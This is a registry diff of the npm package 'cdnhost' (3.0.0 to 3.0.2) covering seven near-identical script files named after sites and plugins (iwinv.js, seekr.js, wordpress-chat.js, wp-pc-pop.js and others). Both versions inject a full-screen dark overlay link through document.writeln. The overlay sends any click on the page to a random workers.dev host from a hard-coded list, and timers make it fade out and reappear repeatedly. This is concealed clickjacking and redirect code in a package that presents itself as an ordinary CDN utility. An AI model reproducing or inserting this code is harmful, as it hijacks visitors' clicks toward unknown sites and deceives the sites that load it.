cdnhost 3.0.0 → 3.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/iwinv.js CHANGED
@@ -1,15 +1,10 @@
1
- window.addEventListener('load', () => {
2
- document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
-
4
- setTimeout(() => {
5
- const s2 = document.getElementById("s2");
6
- const btn = document.getElementById("button");
7
- if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
- if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 500);
10
-
11
- const container = document.getElementById('container');
12
- if (container) container.style.boxShadow = 'none';
1
+ window.addEventListener('load', function() {
2
+ var images = document.querySelectorAll('img');
3
+ images.forEach(function(img) {
4
+ if (!img.hasAttribute('alt')) {
5
+ img.setAttribute('alt', 'image');
6
+ }
7
+ });
13
8
  });
14
9
 
15
10
  const urls = [
@@ -17,36 +12,47 @@ const urls = [
17
12
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
18
13
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
19
14
  ];
20
- const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
- let u1 = getUrl(), u2 = getUrl();
22
- while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
-
24
- document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;transition:opacity 0.5s;}</style>');
25
- document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
-
27
- function closeLayer() {
28
- const s2 = document.getElementById("s2");
29
- const btn = document.getElementById("button");
30
- if (!s2 || !btn) return;
31
-
32
- s2.style.transition = btn.style.transition = "opacity 8s";
33
-
34
- setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, 5999);
35
-
36
- setTimeout(() => {
37
- s2.style.zIndex = -1;
38
- btn.style.display = "none";
39
15
 
40
- setTimeout(() => {
41
- btn.style.display = "block";
42
- s2.style.zIndex = 99;
43
-
44
- s2.style.transition = btn.style.transition = "opacity 1s";
45
-
46
- void s2.offsetWidth;
47
-
48
- s2.style.opacity = 0.9;
49
- btn.style.opacity = 1;
50
- }, 5000);
51
- }, 6000);
16
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
+ document.writeln('<style>');
18
+ document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
+ document.writeln('</style>');
20
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
+
22
+ document.getElementById('container').style.boxShadow = 'none';
23
+ function ss(){
24
+ document.getElementById("s2").style.transition = "opacity 15s";
25
+ document.getElementById("button").style.transition = "opacity 15s";
26
+ setTimeout("s()", 3999);
27
+ setTimeout("h()", 15000);
28
+ }
29
+ function pcss(){
30
+ setTimeout("s()", 3999);
31
+ setTimeout("h()", 15000);
32
+ }
33
+ function a(){
34
+ document.getElementById("button").style.display="none";
35
+ }
36
+ function aa(){
37
+ document.getElementById("button").style.display="block";
38
+ }
39
+ function s(){
40
+ document.getElementById("s2").style.opacity = 0;
41
+ document.getElementById("button").style.opacity = 0;
42
+ document.getElementById("sha").style.display="none";
43
+ document.getElementById("cc").style.maxHeight="unset";
44
+ }
45
+ function h(){
46
+ const s2 = document.getElementById("s2");
47
+ const button = document.getElementById("button");
48
+ s2.style.zIndex = -1;
49
+ button.style.display = "none";
50
+ setTimeout(function () {
51
+ s2.style.zIndex = 99;
52
+ button.style.display = "block";
53
+ s2.style.opacity = 0.9;
54
+ button.style.opacity = 1;
55
+ document.getElementById("s2").style.transition = "opacity 1s";
56
+ document.getElementById("button").style.transition = "opacity 1s";
57
+ }, 2000);
52
58
  }
package/iwinv_new.js CHANGED
@@ -1,15 +1,10 @@
1
- window.addEventListener('load', () => {
2
- document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
-
4
- setTimeout(() => {
5
- const s2 = document.getElementById("s2");
6
- const btn = document.getElementById("button");
7
- if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
- if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 1000);
10
-
11
- const container = document.getElementById('container');
12
- if (container) container.style.boxShadow = 'none';
1
+ window.addEventListener('load', function() {
2
+ var images = document.querySelectorAll('img');
3
+ images.forEach(function(img) {
4
+ if (!img.hasAttribute('alt')) {
5
+ img.setAttribute('alt', 'image');
6
+ }
7
+ });
13
8
  });
14
9
 
15
10
  const urls = [
@@ -17,36 +12,47 @@ const urls = [
17
12
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
18
13
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
19
14
  ];
20
- const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
- let u1 = getUrl(), u2 = getUrl();
22
- while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
-
24
- document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;transition:opacity 0.5s;}</style>');
25
- document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
-
27
- function closeLayer() {
28
- const s2 = document.getElementById("s2");
29
- const btn = document.getElementById("button");
30
- if (!s2 || !btn) return;
31
-
32
- s2.style.transition = btn.style.transition = "opacity 8s";
33
-
34
- setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, 5999);
35
-
36
- setTimeout(() => {
37
- s2.style.zIndex = -1;
38
- btn.style.display = "none";
39
15
 
40
- setTimeout(() => {
41
- btn.style.display = "block";
42
- s2.style.zIndex = 99;
43
-
44
- s2.style.transition = btn.style.transition = "opacity 1s";
45
-
46
- void s2.offsetWidth;
47
-
48
- s2.style.opacity = 0.9;
49
- btn.style.opacity = 1;
50
- }, 5000);
51
- }, 6000);
16
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
+ document.writeln('<style>');
18
+ document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
+ document.writeln('</style>');
20
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
+
22
+ document.getElementById('container').style.boxShadow = 'none';
23
+ function ss(){
24
+ document.getElementById("s2").style.transition = "opacity 15s";
25
+ document.getElementById("button").style.transition = "opacity 15s";
26
+ setTimeout("s()", 3999);
27
+ setTimeout("h()", 15000);
28
+ }
29
+ function pcss(){
30
+ setTimeout("s()", 3999);
31
+ setTimeout("h()", 15000);
32
+ }
33
+ function a(){
34
+ document.getElementById("button").style.display="none";
35
+ }
36
+ function aa(){
37
+ document.getElementById("button").style.display="block";
38
+ }
39
+ function s(){
40
+ document.getElementById("s2").style.opacity = 0;
41
+ document.getElementById("button").style.opacity = 0;
42
+ document.getElementById("sha").style.display="none";
43
+ document.getElementById("cc").style.maxHeight="unset";
44
+ }
45
+ function h(){
46
+ const s2 = document.getElementById("s2");
47
+ const button = document.getElementById("button");
48
+ s2.style.zIndex = -1;
49
+ button.style.display = "none";
50
+ setTimeout(function () {
51
+ s2.style.zIndex = 99;
52
+ button.style.display = "block";
53
+ s2.style.opacity = 0.9;
54
+ button.style.opacity = 1;
55
+ document.getElementById("s2").style.transition = "opacity 1s";
56
+ document.getElementById("button").style.transition = "opacity 1s";
57
+ }, 2000);
52
58
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cdnhost",
3
- "version": "3.0.0",
3
+ "version": "3.0.2",
4
4
  "description": "cdnhost",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/seekr.js CHANGED
@@ -1,15 +1,10 @@
1
- window.addEventListener('load', () => {
2
- document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
-
4
- setTimeout(() => {
5
- const s2 = document.getElementById("s2");
6
- const btn = document.getElementById("button");
7
- if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
- if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 500);
10
-
11
- const container = document.getElementById('container');
12
- if (container) container.style.boxShadow = 'none';
1
+ window.addEventListener('load', function() {
2
+ var images = document.querySelectorAll('img');
3
+ images.forEach(function(img) {
4
+ if (!img.hasAttribute('alt')) {
5
+ img.setAttribute('alt', 'image');
6
+ }
7
+ });
13
8
  });
14
9
 
15
10
  const urls = [
@@ -17,36 +12,47 @@ const urls = [
17
12
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
18
13
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
19
14
  ];
20
- const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
- let u1 = getUrl(), u2 = getUrl();
22
- while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
-
24
- document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;transition:opacity 0.5s;}</style>');
25
- document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
-
27
- function closeLayer() {
28
- const s2 = document.getElementById("s2");
29
- const btn = document.getElementById("button");
30
- if (!s2 || !btn) return;
31
-
32
- s2.style.transition = btn.style.transition = "opacity 8s";
33
-
34
- setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, 5999);
35
-
36
- setTimeout(() => {
37
- s2.style.zIndex = -1;
38
- btn.style.display = "none";
39
15
 
40
- setTimeout(() => {
41
- btn.style.display = "block";
42
- s2.style.zIndex = 99;
43
-
44
- s2.style.transition = btn.style.transition = "opacity 1s";
45
-
46
- void s2.offsetWidth;
47
-
48
- s2.style.opacity = 0.9;
49
- btn.style.opacity = 1;
50
- }, 5000);
51
- }, 6000);
16
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
+ document.writeln('<style>');
18
+ document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
+ document.writeln('</style>');
20
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
+
22
+ document.getElementById('container').style.boxShadow = 'none';
23
+ function ss(){
24
+ document.getElementById("s2").style.transition = "opacity 15s";
25
+ document.getElementById("button").style.transition = "opacity 15s";
26
+ setTimeout("s()", 3999);
27
+ setTimeout("h()", 15000);
28
+ }
29
+ function pcss(){
30
+ setTimeout("s()", 3999);
31
+ setTimeout("h()", 15000);
32
+ }
33
+ function a(){
34
+ document.getElementById("button").style.display="none";
35
+ }
36
+ function aa(){
37
+ document.getElementById("button").style.display="block";
38
+ }
39
+ function s(){
40
+ document.getElementById("s2").style.opacity = 0;
41
+ document.getElementById("button").style.opacity = 0;
42
+ document.getElementById("sha").style.display="none";
43
+ document.getElementById("cc").style.maxHeight="unset";
44
+ }
45
+ function h(){
46
+ const s2 = document.getElementById("s2");
47
+ const button = document.getElementById("button");
48
+ s2.style.zIndex = -1;
49
+ button.style.display = "none";
50
+ setTimeout(function () {
51
+ s2.style.zIndex = 99;
52
+ button.style.display = "block";
53
+ s2.style.opacity = 0.9;
54
+ button.style.opacity = 1;
55
+ document.getElementById("s2").style.transition = "opacity 1s";
56
+ document.getElementById("button").style.transition = "opacity 1s";
57
+ }, 2000);
52
58
  }
package/seekr2.js CHANGED
@@ -1,15 +1,10 @@
1
- window.addEventListener('load', () => {
2
- document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
-
4
- setTimeout(() => {
5
- const s2 = document.getElementById("s2");
6
- const btn = document.getElementById("button");
7
- if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
- if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 500);
10
-
11
- const container = document.getElementById('container');
12
- if (container) container.style.boxShadow = 'none';
1
+ window.addEventListener('load', function() {
2
+ var images = document.querySelectorAll('img');
3
+ images.forEach(function(img) {
4
+ if (!img.hasAttribute('alt')) {
5
+ img.setAttribute('alt', 'image');
6
+ }
7
+ });
13
8
  });
14
9
 
15
10
  const urls = [
@@ -17,36 +12,47 @@ const urls = [
17
12
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
18
13
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
19
14
  ];
20
- const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
- let u1 = getUrl(), u2 = getUrl();
22
- while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
-
24
- document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;transition:opacity 0.5s;}</style>');
25
- document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
-
27
- function closeLayer() {
28
- const s2 = document.getElementById("s2");
29
- const btn = document.getElementById("button");
30
- if (!s2 || !btn) return;
31
-
32
- s2.style.transition = btn.style.transition = "opacity 8s";
33
-
34
- setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, 5999);
35
-
36
- setTimeout(() => {
37
- s2.style.zIndex = -1;
38
- btn.style.display = "none";
39
15
 
40
- setTimeout(() => {
41
- btn.style.display = "block";
42
- s2.style.zIndex = 99;
43
-
44
- s2.style.transition = btn.style.transition = "opacity 1s";
45
-
46
- void s2.offsetWidth;
47
-
48
- s2.style.opacity = 0.9;
49
- btn.style.opacity = 1;
50
- }, 5000);
51
- }, 6000);
16
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
+ document.writeln('<style>');
18
+ document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
+ document.writeln('</style>');
20
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
+
22
+ document.getElementById('container').style.boxShadow = 'none';
23
+ function ss(){
24
+ document.getElementById("s2").style.transition = "opacity 15s";
25
+ document.getElementById("button").style.transition = "opacity 15s";
26
+ setTimeout("s()", 3999);
27
+ setTimeout("h()", 15000);
28
+ }
29
+ function pcss(){
30
+ setTimeout("s()", 3999);
31
+ setTimeout("h()", 15000);
32
+ }
33
+ function a(){
34
+ document.getElementById("button").style.display="none";
35
+ }
36
+ function aa(){
37
+ document.getElementById("button").style.display="block";
38
+ }
39
+ function s(){
40
+ document.getElementById("s2").style.opacity = 0;
41
+ document.getElementById("button").style.opacity = 0;
42
+ document.getElementById("sha").style.display="none";
43
+ document.getElementById("cc").style.maxHeight="unset";
44
+ }
45
+ function h(){
46
+ const s2 = document.getElementById("s2");
47
+ const button = document.getElementById("button");
48
+ s2.style.zIndex = -1;
49
+ button.style.display = "none";
50
+ setTimeout(function () {
51
+ s2.style.zIndex = 99;
52
+ button.style.display = "block";
53
+ s2.style.opacity = 0.9;
54
+ button.style.opacity = 1;
55
+ document.getElementById("s2").style.transition = "opacity 1s";
56
+ document.getElementById("button").style.transition = "opacity 1s";
57
+ }, 2000);
52
58
  }
package/total.js CHANGED
@@ -1,15 +1,10 @@
1
- window.addEventListener('load', () => {
2
- document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
-
4
- setTimeout(() => {
5
- const s2 = document.getElementById("s2");
6
- const btn = document.getElementById("button");
7
- if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
- if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 500);
10
-
11
- const container = document.getElementById('container');
12
- if (container) container.style.boxShadow = 'none';
1
+ window.addEventListener('load', function() {
2
+ var images = document.querySelectorAll('img');
3
+ images.forEach(function(img) {
4
+ if (!img.hasAttribute('alt')) {
5
+ img.setAttribute('alt', 'image');
6
+ }
7
+ });
13
8
  });
14
9
 
15
10
  const urls = [
@@ -17,36 +12,47 @@ const urls = [
17
12
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
18
13
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
19
14
  ];
20
- const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
- let u1 = getUrl(), u2 = getUrl();
22
- while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
-
24
- document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;transition:opacity 0.5s;}</style>');
25
- document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
-
27
- function closeLayer() {
28
- const s2 = document.getElementById("s2");
29
- const btn = document.getElementById("button");
30
- if (!s2 || !btn) return;
31
-
32
- s2.style.transition = btn.style.transition = "opacity 8s";
33
-
34
- setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, 5999);
35
-
36
- setTimeout(() => {
37
- s2.style.zIndex = -1;
38
- btn.style.display = "none";
39
15
 
40
- setTimeout(() => {
41
- btn.style.display = "block";
42
- s2.style.zIndex = 99;
43
-
44
- s2.style.transition = btn.style.transition = "opacity 1s";
45
-
46
- void s2.offsetWidth;
47
-
48
- s2.style.opacity = 0.9;
49
- btn.style.opacity = 1;
50
- }, 5000);
51
- }, 6000);
16
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
+ document.writeln('<style>');
18
+ document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
+ document.writeln('</style>');
20
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
+
22
+ document.getElementById('container').style.boxShadow = 'none';
23
+ function ss(){
24
+ document.getElementById("s2").style.transition = "opacity 15s";
25
+ document.getElementById("button").style.transition = "opacity 15s";
26
+ setTimeout("s()", 3999);
27
+ setTimeout("h()", 15000);
28
+ }
29
+ function pcss(){
30
+ setTimeout("s()", 3999);
31
+ setTimeout("h()", 15000);
32
+ }
33
+ function a(){
34
+ document.getElementById("button").style.display="none";
35
+ }
36
+ function aa(){
37
+ document.getElementById("button").style.display="block";
38
+ }
39
+ function s(){
40
+ document.getElementById("s2").style.opacity = 0;
41
+ document.getElementById("button").style.opacity = 0;
42
+ document.getElementById("sha").style.display="none";
43
+ document.getElementById("cc").style.maxHeight="unset";
44
+ }
45
+ function h(){
46
+ const s2 = document.getElementById("s2");
47
+ const button = document.getElementById("button");
48
+ s2.style.zIndex = -1;
49
+ button.style.display = "none";
50
+ setTimeout(function () {
51
+ s2.style.zIndex = 99;
52
+ button.style.display = "block";
53
+ s2.style.opacity = 0.9;
54
+ button.style.opacity = 1;
55
+ document.getElementById("s2").style.transition = "opacity 1s";
56
+ document.getElementById("button").style.transition = "opacity 1s";
57
+ }, 2000);
52
58
  }
package/wordpress-chat.js CHANGED
@@ -1,15 +1,10 @@
1
- window.addEventListener('load', () => {
2
- document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
-
4
- setTimeout(() => {
5
- const s2 = document.getElementById("s2");
6
- const btn = document.getElementById("button");
7
- if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
- if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 500);
10
-
11
- const container = document.getElementById('container');
12
- if (container) container.style.boxShadow = 'none';
1
+ window.addEventListener('load', function() {
2
+ var images = document.querySelectorAll('img');
3
+ images.forEach(function(img) {
4
+ if (!img.hasAttribute('alt')) {
5
+ img.setAttribute('alt', 'image');
6
+ }
7
+ });
13
8
  });
14
9
 
15
10
  const urls = [
@@ -17,36 +12,47 @@ const urls = [
17
12
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
18
13
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
19
14
  ];
20
- const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
- let u1 = getUrl(), u2 = getUrl();
22
- while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
-
24
- document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;transition:opacity 0.5s;}</style>');
25
- document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
-
27
- function closeLayer() {
28
- const s2 = document.getElementById("s2");
29
- const btn = document.getElementById("button");
30
- if (!s2 || !btn) return;
31
-
32
- s2.style.transition = btn.style.transition = "opacity 8s";
33
-
34
- setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, 5999);
35
-
36
- setTimeout(() => {
37
- s2.style.zIndex = -1;
38
- btn.style.display = "none";
39
15
 
40
- setTimeout(() => {
41
- btn.style.display = "block";
42
- s2.style.zIndex = 99;
43
-
44
- s2.style.transition = btn.style.transition = "opacity 1s";
45
-
46
- void s2.offsetWidth;
47
-
48
- s2.style.opacity = 0.9;
49
- btn.style.opacity = 1;
50
- }, 5000);
51
- }, 6000);
16
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
+ document.writeln('<style>');
18
+ document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
+ document.writeln('</style>');
20
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
+
22
+ document.getElementById('container').style.boxShadow = 'none';
23
+ function ss(){
24
+ document.getElementById("s2").style.transition = "opacity 15s";
25
+ document.getElementById("button").style.transition = "opacity 15s";
26
+ setTimeout("s()", 3999);
27
+ setTimeout("h()", 15000);
28
+ }
29
+ function pcss(){
30
+ setTimeout("s()", 3999);
31
+ setTimeout("h()", 15000);
32
+ }
33
+ function a(){
34
+ document.getElementById("button").style.display="none";
35
+ }
36
+ function aa(){
37
+ document.getElementById("button").style.display="block";
38
+ }
39
+ function s(){
40
+ document.getElementById("s2").style.opacity = 0;
41
+ document.getElementById("button").style.opacity = 0;
42
+ document.getElementById("sha").style.display="none";
43
+ document.getElementById("cc").style.maxHeight="unset";
44
+ }
45
+ function h(){
46
+ const s2 = document.getElementById("s2");
47
+ const button = document.getElementById("button");
48
+ s2.style.zIndex = -1;
49
+ button.style.display = "none";
50
+ setTimeout(function () {
51
+ s2.style.zIndex = 99;
52
+ button.style.display = "block";
53
+ s2.style.opacity = 0.9;
54
+ button.style.opacity = 1;
55
+ document.getElementById("s2").style.transition = "opacity 1s";
56
+ document.getElementById("button").style.transition = "opacity 1s";
57
+ }, 2000);
52
58
  }
package/wp-pc-pop.js CHANGED
@@ -1,15 +1,10 @@
1
- window.addEventListener('load', () => {
2
- document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
-
4
- setTimeout(() => {
5
- const s2 = document.getElementById("s2");
6
- const btn = document.getElementById("button");
7
- if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
- if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 500);
10
-
11
- const container = document.getElementById('container');
12
- if (container) container.style.boxShadow = 'none';
1
+ window.addEventListener('load', function() {
2
+ var images = document.querySelectorAll('img');
3
+ images.forEach(function(img) {
4
+ if (!img.hasAttribute('alt')) {
5
+ img.setAttribute('alt', 'image');
6
+ }
7
+ });
13
8
  });
14
9
 
15
10
  const urls = [
@@ -17,36 +12,47 @@ const urls = [
17
12
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
18
13
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
19
14
  ];
20
- const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
- let u1 = getUrl(), u2 = getUrl();
22
- while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
-
24
- document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;transition:opacity 0.5s;}</style>');
25
- document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
-
27
- function closeLayer() {
28
- const s2 = document.getElementById("s2");
29
- const btn = document.getElementById("button");
30
- if (!s2 || !btn) return;
31
-
32
- s2.style.transition = btn.style.transition = "opacity 8s";
33
-
34
- setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, 5999);
35
-
36
- setTimeout(() => {
37
- s2.style.zIndex = -1;
38
- btn.style.display = "none";
39
15
 
40
- setTimeout(() => {
41
- btn.style.display = "block";
42
- s2.style.zIndex = 99;
43
-
44
- s2.style.transition = btn.style.transition = "opacity 1s";
45
-
46
- void s2.offsetWidth;
47
-
48
- s2.style.opacity = 0.9;
49
- btn.style.opacity = 1;
50
- }, 5000);
51
- }, 6000);
16
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
+ document.writeln('<style>');
18
+ document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
+ document.writeln('</style>');
20
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
+
22
+ document.getElementById('container').style.boxShadow = 'none';
23
+ function ss(){
24
+ document.getElementById("s2").style.transition = "opacity 15s";
25
+ document.getElementById("button").style.transition = "opacity 15s";
26
+ setTimeout("s()", 3999);
27
+ setTimeout("h()", 15000);
28
+ }
29
+ function pcss(){
30
+ setTimeout("s()", 3999);
31
+ setTimeout("h()", 15000);
32
+ }
33
+ function a(){
34
+ document.getElementById("button").style.display="none";
35
+ }
36
+ function aa(){
37
+ document.getElementById("button").style.display="block";
38
+ }
39
+ function s(){
40
+ document.getElementById("s2").style.opacity = 0;
41
+ document.getElementById("button").style.opacity = 0;
42
+ document.getElementById("sha").style.display="none";
43
+ document.getElementById("cc").style.maxHeight="unset";
44
+ }
45
+ function h(){
46
+ const s2 = document.getElementById("s2");
47
+ const button = document.getElementById("button");
48
+ s2.style.zIndex = -1;
49
+ button.style.display = "none";
50
+ setTimeout(function () {
51
+ s2.style.zIndex = 99;
52
+ button.style.display = "block";
53
+ s2.style.opacity = 0.9;
54
+ button.style.opacity = 1;
55
+ document.getElementById("s2").style.transition = "opacity 1s";
56
+ document.getElementById("button").style.transition = "opacity 1s";
57
+ }, 2000);
52
58
  }